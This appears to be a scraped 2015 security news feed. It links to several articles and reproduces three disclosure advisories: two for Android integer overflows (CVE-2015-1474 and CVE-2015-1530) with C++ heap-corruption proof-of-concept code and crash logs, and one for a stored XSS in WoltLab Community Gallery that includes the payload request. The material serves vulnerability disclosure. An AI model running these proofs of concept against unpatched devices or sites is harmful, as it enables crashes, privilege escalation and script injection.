more here........http://blog.mdsec.co.uk/2015/03/bruteforcing-ios-screenlock.html

Information regarding false positive with Panda Cloud Office Protection and Retail 2015

$
0
0
We inform you that today, a false positive in the signature file affecting Panda Cloud Office Protection, Retail 2015 products and Panda Free AV has caused certain files to be moved to quarantine.

more here........http://www.pandasecurity.com/uk/homeusers/support/card?id=100045

Dumping LSA Secrets on NT5 x64

$
0
0
On the x64 version of Windows 2003 or XP (kernel 5.2), almost every tool fails to dump the LSA secrets and the domain cached credentials. Not sure why this has never been picked up before.

more here..........https://www.trustwave.com/Resources/SpiderLabs-Blog/Dumping-LSA-Secrets-on-NT5-x64/?page=1&year=0&month=0

Eighty percent of global merchants fall short on card data security compliance: report

$
0
0
Four out of five global retailers and other merchants failed interim tests to determine whether they are in compliance with payment card data security standards, putting them at increased risk of cyberattacks, according to a new report by Verizon Communications Inc.

more here.........http://www.reuters.com/article/2015/03/11/us-cybersecurity-usa-idUSKBN0M70BD20150311?rpc=401

[CVE-2015-1474]Integer overflow leading to heap corruption while unflattening GraphicBuffer

$
0
0
#############################################################################
#
#   QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/
#
#############################################################################
#
# CVE ID:   CVE-2015-1474
# Product:   Android
# Vendor:   Google
# Subject:   Integer overflow leading to heap corruption while unflattening
GraphicBuffer
# Effect:  Gain privileges or cause a denial of service
# Author:  Guang Gong

# Date:     March 11th 2015
#
#############################################################################


Introduction
------------
Multiple integer overflows in the GraphicBuffer::unflatten function in
platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0
allow attackers to gain privileges or cause a denial of service (memory
corruption) via vectors that trigger a large number of (1) file descriptors
or (2) integer values.

Affected Android version
----------

all versions below Lollipop 5.1

Patches
-------

Android Bug id 18076253
There are two patches for this vulnerabilities, the first patch for this
issue is uncomplete.

[1]
https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]
https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

Description
-----------
The vulnerable code is as follows.

28
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28>
native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>*
native_handle_create
<http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system>
(int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>,
int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>)

29
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29>
{

30
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30>
   native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h =
malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>(

31
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31>
           sizeof(native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) +
sizeof(int)*(numFds
<http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
));---------------> integer overflow here, numFds and numInts can be
controlled by normal Apps.

32
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32>

33
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33>
   h->version
<http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof(
native_handle_t
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>);

34
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34>
   h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>
= numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>;

35
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35>
   h->numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
= numInts
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>
;

36
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36>
   return h;

37
<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37>
}



244
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244>
status_t
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks>
GraphicBuffer
<http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>::
unflatten
<http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>(

245
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245>
       void const*& buffer
<http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t
<http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size
<http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const
*& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>,
size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>&
count
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>)
{



271
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271>
       native_handle
<http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>*
h = native_handle_create
<http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks>
(numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>
, numInts
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>
);

272
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272>
       memcpy
<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,       fds
<http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>
*sizeof(int));    ---------------->heap corruption hear.

273
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273>
       memcpy
<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>,
&buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8],
numInts
<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>
*sizeof(int));

….


Attack vector
-------------
A normal Apps can corrupt the heap in surfaceflinger and system_server by
this vulnerabilities.

the PoC of corrupting the heap of surfaceflinger is as follows

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <utils/Log.h>

#include <binder/IPCThreadState.h>

#include <binder/ProcessState.h>

#include <binder/IServiceManager.h>

#include <gui/ISurfaceComposer.h>

#include <gui/BufferQueue.h>

#include <gui/CpuConsumer.h>

#include <unistd.h>


using namespace android;

class MyBufferQueue:public BufferQueue{

   public:

       status_t onTransact(uint32_t code, const Parcel& data, Parcel*
reply, uint32_t flags){

           status_t ret =
BnGraphicBufferProducer::onTransact(code,data,reply,flags);

           if(code==1){

               int *data = (int *)reply->data();

               int *numFDs = data+9;

               *numFDs=0xfffffffd;

           }

           return ret;

       }

};

int main()

{

   sp<ProcessState> proc(ProcessState::self());

   proc->startThreadPool();

   const String16 name("SurfaceFlinger");

   sp<ISurfaceComposer> composer;

   getService(name, &composer);

   uint32_t w, h;

   PixelFormat f;

   sp<IBinder>
display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));

   sp<MyBufferQueue> bufferQueue = new MyBufferQueue();

   sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1);

   status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL);

   if (err != NO_ERROR) {

       fprintf(stderr, "screen capture failed: %s\n", strerror(-err));

       exit(0);

   }

   printf("screen capture success\n");

   IPCThreadState::self()->joinThreadPool();

   return 0;

}

How to corrupt the heap of system_server

put a malformated GraphicBuffer in a Bundle, and then send it to
system_server via setApplicationRestrictions. it’s the same way as
CVE-2014-7911.

The backtrace of crash surfaceflinger

55 --------- beginning of crash

 56 F/libc    (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr
0xb1000000 in tid 15504 (surfaceflinger)

 57 I/DEBUG   (  180): *** *** *** *** *** *** *** *** *** *** *** *** ***
*** *** ***

 58 I/DEBUG   (  180): Build fingerprint:
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'

 59 I/DEBUG   (  180): Revision: '11'

 60 I/DEBUG   (  180): ABI: 'arm'

 61 I/DEBUG   (  180): pid: 15504, tid: 15504, name: surfaceflinger  >>>
/system/bin/surfaceflinger <<<

 62 I/DEBUG   (  180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault
addr 0xb1000000

 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504

 64 I/DEBUG   (  180):     r0 b1000000  r1 b6be41ec  r2 ff81eff0  r3
00000004

 65 E/DEBUG   (  180): AM write failure (32 / Broken pipe)

 66 I/DEBUG   (  180):     r4 b647ac00  r5 fffffffd  r6 b6302150  r7
00000050

 67 I/DEBUG   (  180):     r8 bef65734  r9 bef65738  sl bef6573c  fp
b081f070

 68 I/DEBUG   (  180):     ip 80000000  sp bef656f0  lr b6c6cfb7  pc
b6eb2e30  cpsr a00f0030

 69 I/DEBUG   (  180):

 70 I/DEBUG   (  180): backtrace:

 71 I/DEBUG   (  180):     #00 pc 0000fe30  /system/lib/libc.so
(__memcpy_base+91)   ------------------------->memcpy cause heap corruption

 72 I/DEBUG   (  180):     #01 pc 00005fb3  /system/lib/libui.so
(android::GraphicBuffer::unflatten(void const*&, unsigned int&, int
const*&, unsigned int&)+98)

 73 I/DEBUG   (  180):     #02 pc 00025e09  /system/lib/libgui.so

 74 I/DEBUG   (  180):     #03 pc 0001e985  /system/lib/libbinder.so
(android::Parcel::read(android::Parcel::FlattenableHelperInterface&)
const+176)

 75 I/DEBUG   (  180):     #04 pc 0002638d  /system/lib/libgui.so

 76 I/DEBUG   (  180):     #05 pc 0002adc3  /system/lib/libgui.so
(android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226)

 77 I/DEBUG   (  180):     #06 pc 0002aa81  /system/lib/libgui.so
(android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*,
ANativeWindowBuffer**)+32)

 78 I/DEBUG   (  180):     #07 pc 000175cf  /system/lib/libsurfaceflinger.so

 79 I/DEBUG   (  180):     #08 pc 0001b80f  /system/lib/libsurfaceflinger.so

 80 I/DEBUG   (  180):     #09 pc 000158f5  /system/lib/libsurfaceflinger.so

 81 I/DEBUG   (  180):     #10 pc 00010907  /system/lib/libutils.so
(android::Looper::pollInner(int)+410)

 82 I/DEBUG   (  180):     #11 pc 000109f9  /system/lib/libutils.so
(android::Looper::pollOnce(int, int*, int*, void**)+92)

 83 I/DEBUG   (  180):     #12 pc 00015ad1  /system/lib/libsurfaceflinger.so

 84 I/DEBUG   (  180):     #13 pc 0001675d
 /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8)

 85 I/DEBUG   (  180):     #14 pc 0000083d  /system/bin/surfaceflinger

 86 I/DEBUG   (  180):     #15 pc 0000f811  /system/lib/libc.so
(__libc_init+44)

 87 I/DEBUG   (  180):     #16 pc 000008d8  /system/bin/surfaceflinger

 88 I/DEBUG   (  180):

 89 I/DEBUG   (  180): Tombstone written to: /data/tombstones/tombstone_01

 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox
(SYSTEM_TOMBSTONE)

 91 I/ServiceManager(  176): service 'SurfaceFlinger' died

 92 I/ServiceManager(  176): service 'display.qservice' died



Milestones
----------

Date

Comment

Sender

20/10/2014

Initial Report of CVE-2015-1474

Qihoo 360

22/10/2014

Forwarded to the dedicated Team by Google

Google

04/11/2014

Classified it as a high severity vulnerability

Google

06/11/2014

Get the Android Bug ID 18076253

Google

10/2/2015

Notify it’s fixed and send the CVE-ID

Google

16/2/2015

Tell Google the first patch was uncomplete

Qihoo 360

18/2/2015

Submitted the second patch

Google

11/3/2015

Lollipop 5.1 was released, disclose it

Qihoo 360



References
----------
[1]
https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]
https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

[3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474

[4]
http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28

[CVE-2015-1530]An integer overflow in Android media could be exploited to get media_server permission

$
0
0
#############################################################################
#
#   QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/
#
#############################################################################
#
# CVE ID:   CVE-2015-1530
# Product:   Android
# Vendor:   Google
# Subject:   An integer overflow in Android media could be exploited to get
media_server permission
# Effect:  Gain privileges or cause a denial of service
# Author:  Guang Gong

# Date:     March 11th 2015
#
#############################################################################


Introduction
------------
An Integer overflow in the BnAudioPolicyService::onTransact function in
frameworks <http://androidxref.com/4.4.4_r1/xref/frameworks/>/av
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/>/media
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/>/libmedia
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/>/
IAudioPolicyService.cpp
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp>
in Android through 5.0 allow attackers to gain privileges or cause a denial
of service (memory corruption) via vectors that trigger a large number of
count value.

Affected Android version
----------

all versions below Lollipop 5.1

Patches
-------

Android Bug id 18226810
https://android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160



Description
-----------
The vulnerable code is as follows.

http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661

case QUERY_DEFAULT_PRE_PROCESSING
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#QUERY_DEFAULT_PRE_PROCESSING>:
{

656
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#656>
        CHECK_INTERFACE
<http://androidxref.com/4.4.4_r1/s?defs=CHECK_INTERFACE&project=frameworks>(
IAudioPolicyService
<http://androidxref.com/4.4.4_r1/s?defs=IAudioPolicyService&project=frameworks>
, data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>,
reply <http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>);

657
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#657>
        int audioSession
<http://androidxref.com/4.4.4_r1/s?refs=audioSession&project=frameworks> =
data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.
readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();

658
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#658>
        uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks> count
<http://androidxref.com/4.4.4_r1/s?refs=count&project=frameworks> = data
<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>.readInt32
<http://androidxref.com/4.4.4_r1/s?defs=readInt32&project=frameworks>();

659
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#659>
        uint32_t
<http://androidxref.com/4.4.4_r1/s?defs=uint32_t&project=frameworks>
retCount
<http://androidxref.com/4.4.4_r1/s?refs=retCount&project=frameworks> = count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks>;

660
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#660>
        effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*descriptors
<http://androidxref.com/4.4.4_r1/s?refs=descriptors&project=frameworks> =

661
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661>
                (effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
*)new char[count
<http://androidxref.com/4.4.4_r1/s?defs=count&project=frameworks> * sizeof(
effect_descriptor_t
<http://androidxref.com/4.4.4_r1/s?defs=effect_descriptor_t&project=frameworks>
)];--------------------->count can be set to any value by binder client,
which can cause integer overflow and when write to this buffer, heap
corruption will happen.

662
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#662>
        status_t
<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> status
<http://androidxref.com/4.4.4_r1/s?refs=status&project=frameworks> =
queryDefaultPreProcessing
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#queryDefaultPreProcessing>
(audioSession
<http://androidxref.com/4.4.4_r1/s?defs=audioSession&project=frameworks>,
descriptors
<http://androidxref.com/4.4.4_r1/s?defs=descriptors&project=frameworks>, &
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);

663
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#663>
        reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks>);

664
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#664>
        if (status
<http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_ERROR
<http://androidxref.com/4.4.4_r1/s?defs=NO_ERROR&project=frameworks> &&
status <http://androidxref.com/4.4.4_r1/s?defs=status&project=frameworks> !=
NO_MEMORY
<http://androidxref.com/4.4.4_r1/s?defs=NO_MEMORY&project=frameworks>) {

665
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#665>
            retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks> = 0;

666
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#666>
        }

667
<http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#667>
        reply
<http://androidxref.com/4.4.4_r1/s?defs=reply&project=frameworks>->
writeInt32
<http://androidxref.com/4.4.4_r1/s?defs=writeInt32&project=frameworks>(
retCount
<http://androidxref.com/4.4.4_r1/s?defs=retCount&project=frameworks>);


Attack vector
-------------
A normal Apps can corrupt the heap in mediaserver by this vulnerabilities.

the PoC of corrupting the heap is as follows

#include <binder/Parcel.h>

#include <binder/ProcessState.h>

#include <binder/IServiceManager.h>

#include <media/IAudioPolicyService.h>

#include <binder/TextOutput.h>

#include <system/audio.h>

#include <sys/stat.h>

#include <fcntl.h>





using namespace android;

int main(__attribute__((unused)) int argc, __attribute__((unused)) char*
const argv[])

{

   sp<IServiceManager> sm = defaultServiceManager();

   sp<IBinder> service = sm->checkService(String16("media.audio_policy"));


   sp<IAudioPolicyService> iPolicy =
IAudioPolicyService::asInterface(service);

   effect_descriptor_t descriptors;

   uint32_t count=0xfffffff;

   iPolicy->getInput((audio_source_t)0,8000,(audio_format_t)1,AUDIO_CHANNEL_IN_FRONT,1);


   iPolicy->queryDefaultPreProcessing(1,&descriptors,&count);

   return 0;

}

the crash Log is as follows:

--------- beginning of crash

F/libc    (  184): new[] failed to allocate 3221225300 bytes

F/libc    (  184): Fatal signal 6 (SIGABRT), code -6 in tid 654 (Binder_1)

I/DEBUG   (  180): *** *** *** *** *** *** *** *** *** *** *** *** *** ***
*** ***

I/DEBUG   (  180): Build fingerprint:
'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'

I/DEBUG   (  180): Revision: '10'

I/DEBUG   (  180): ABI: 'arm'

I/DEBUG   (  180): pid: 184, tid: 654, name: Binder_1  >>>
/system/bin/mediaserver <<<

I/DEBUG   (  180): signal 6 (SIGABRT), code -6 (SI_TKILL), fault addr
--------

W/NativeCrashListener(  613): Couldn't find ProcessRecord for pid 184

I/DEBUG   (  180): Abort message: 'new[] failed to allocate 3221225300
bytes'

E/DEBUG   (  180): AM write failure (32 / Broken pipe)

I/DEBUG   (  180):     r0 00000000  r1 0000028e  r2 00000006  r3 00000000

I/DEBUG   (  180):     r4 b46ffdb8  r5 00000006  r6 0000000c  r7 0000010c

I/DEBUG   (  180):     r8 0fffffff  r9 000003f5  sl 000000b8  fp 00000001

I/DEBUG   (  180):     ip 0000028e  sp b46ffab8  lr b6f44941  pc b6f6676c
 cpsr 60070010

I/DEBUG   (  180):

I/DEBUG   (  180): backtrace:

I/DEBUG   (  180):     #00 pc 0003576c  /system/lib/libc.so (tgkill+12)

I/DEBUG   (  180):     #01 pc 0001393d  /system/lib/libc.so
(pthread_kill+52)

I/DEBUG   (  180):     #02 pc 000143e7  /system/lib/libc.so (raise+10)

I/DEBUG   (  180):     #03 pc 00010e8d  /system/lib/libc.so
(__libc_android_abort+36)

I/DEBUG   (  180):     #04 pc 0000f954  /system/lib/libc.so (abort+4)

I/DEBUG   (  180):     #05 pc 00012225  /system/lib/libc.so
(__libc_fatal+16)

I/DEBUG   (  180):     #06 pc 000128fd  /system/lib/libc.so (operator
new[](unsigned int)+16)

I/DEBUG   (  180):     #07 pc 00056367  /system/lib/libmedia.so
(android::BnAudioPolicyService::onTransact(unsigned int, android::Parcel
const&, android::Parcel*, unsigned int)+1158)

I/DEBUG   (  180):     #08 pc 000167a5  /system/lib/libbinder.so
(android::BBinder::transact(unsigned int, android::Parcel const&,
android::Parcel*, unsigned int)+60)

I/DEBUG   (  180):     #09 pc 0001aea3  /system/lib/libbinder.so
(android::IPCThreadState::executeCommand(int)+562)

I/DEBUG   (  180):     #10 pc 0001afbf  /system/lib/libbinder.so
(android::IPCThreadState::getAndExecuteCommand()+38)

I/DEBUG   (  180):     #11 pc 0001b001  /system/lib/libbinder.so
(android::IPCThreadState::joinThreadPool(bool)+48)

I/DEBUG   (  180):     #12 pc 0001ee93  /system/lib/libbinder.so

I/DEBUG   (  180):     #13 pc 0000e97d  /system/lib/libutils.so
(android::Thread::_threadLoop(void*)+112)

I/DEBUG   (  180):     #14 pc 0000e505  /system/lib/libutils.so

I/DEBUG   (  180):     #15 pc 00013133  /system/lib/libc.so
(__pthread_start(void*)+30)

I/DEBUG   (  180):     #16 pc 0001120b  /system/lib/libc.so
(__start_thread+6)

I/DEBUG   (  180):

I/DEBUG   (  180): Tombstone written to: /data/tombstones/tombstone_00

I/BootReceiver(  613): Copying /data/tombstones/tombstone_00 to DropBox
(SYSTEM_TOMBSTONE)



Milestones
----------

Date

Comment

Sender

03/11/2014

Initial Report of CVE-2015-1530

Qihoo

08/11/2014

have validated and have created a suitable fix  internally

Google

11/11/2014

Sent the Android Bug ID 18226810

Google

10/2/2015

Sent the CVE-ID

Google

11/3/2015

Lollipop 5.1 was released, disclose it

Qihoo



References
----------
[1]https:
//android.googlesource.com/platform/frameworks/av/+/e360f0f6cad290f69e07fd3a20dcf11a1dbc4160

[2]
http://androidxref.com/4.4.4_r1/xref/frameworks/av/media/libmedia/IAudioPolicyService.cpp#661

Community Gallery - Stored XSS vulnerability

$
0
0
#Vulnerability title: Community Gallery - Stored XSS
vulnerability
#Product: Community Gallery
#Vendor: https://www.woltlab.com
#Affected version: Community Gallery 2.0 before 12/10/2014
#Download link:
https://www.woltlab.com/purchase/?products[]=com.woltlab.gallery
#Fixed version: Community Gallery 2.0 after 12/26/2014
#CVE ID: CVE-2015-2275
#Author: Pham Kien Cuong (cuong.k.pham@itas.vn) & ITAS Team (www.itas.vn)


::PROOF OF CONCEPT::

+ REQUEST:
POST
/7788bdbc/gallery/index.php/AJAXProxy/?t=7d53f8ad7553c0f885e3ccb60edbc0b6512
d9eed HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101
Firefox/36.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://target/7788bdbc/gallery/index.php/ImageEdit/7/
Content-Length: 1300
Cookie: wcf_cookieHash=f774ed47049756db7f6f635748b497cf08b6fef3;
__cfduid=dceb0da13e569549c9531d07b3d287acb1420598620
Authorization: Basic Nzc4OGJkYmM6OWM1NWE3OWM=
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

actionName=saveImageData&className=gallery%5Cdata%5Cimage%5CImageAction&obje
ctIDs%5B%5D=7&parameters%5Bdata%5D%5B7%5D%5BalbumID%5D=1&parameters%5Bdata%5
D%5B7%5D%5BcategoryIDs%5D%5B%5D=3&parameters%5Bdata%5D%5B7%5D%5Bdescription%
5D=test&parameters%5Bdata%5D%5B7%5D%5BenableComments%5D=1&parameters%5Bdata%
5D%5B7%5D%5Bfilename%5D=HoaMai1.jpg&parameters%5Bdata%5D%5B7%5D%5Bfilesize%5
D=47948&parameters%5Bdata%5D%5B7%5D%5Bheight%5D=480&parameters%5Bdata%5D%5B7
%5D%5BimageID%5D=7&parameters%5Bdata%5D%5B7%5D%5Blatitude%5D=0&parameters%5B
data%5D%5B7%5D%5Blongitude%5D=0&parameters%5Bdata%5D%5B7%5D%5Borientation%5D
=1&parameters%5Bdata%5D%5B7%5D%5Btags%5D%5B%5D=testing&parameters%5Bdata%5D%
5B7%5D%5BthumbnailHeight%5D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailWidth%5
D=0&parameters%5Bdata%5D%5B7%5D%5BthumbnailX%5D=0&parameters%5Bdata%5D%5B7%5
D%5BthumbnailY%5D=0&parameters%5Bdata%5D%5B7%5D%5BtinyURL%5D=http%3A%2F%2Fde
mo.woltlab.com%2F7788bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e-tiny.jpg&
parameters%5Bdata%5D%5B7%5D%5Btitle%5D=%3Cscript%3Ealert('XSS')%3C%2Fscript%
3E&parameters%5Bdata%5D%5B7%5D%5Burl%5D=http%3A%2F%2Fdemo.woltlab.com%2F7788
bdbc%2Fgallery%2FuserImages%2F21%2F7-2147cd1e.jpg&parameters%5Bdata%5D%5B7%5
D%5Bwidth%5D=640&parameters%5Bdata%5D%5B7%5D%5Blocation%5D=&parameters%5BisE
dit%5D=1


- Vulnerable parameter: parameters[data][7][title]


::DISCLOSURE::
+ 12/10/2014: Detect vulnerability
+ 12/10/2014: Send the detail vulnerability to vendor
03/11/2015: Public information

::REFERENCE::
-
http://www.itas.vn/news/itas-team-found-out-a-stored-xss-vulnerability-in-bu
rning-board-community-gallery-77.html



::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF
ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY
IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE
OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS
A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION
OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS,
AND AT THE USER'S OWN RISK.



--------------------------------------------
ITAS Team (itas.team@itas.vn)

Lattice based attacks on RSA

$
0
0
This repo will host implementations and explanations of different RSA attacks using lattice reduction techniques (in particular LLL).

First, we'll see how Coppersmith found out that you could use lattice reduction techniques to attack a relaxed model of RSA (we know parts of the message, or we know parts of one of the prime, ...). And how Howgrave-Graham reformulated his attack.

Second we'll see how Boneh and Durfee used a coppersmith-like attack to factor the RSA modulus when the private key is too small (d < N^0.929). Followed by a simplification from Herrman and May.

more here...........https://github.com/mimoo/RSA-and-LLL-attacks/
Viewing all 8064 articles
Browse latest View live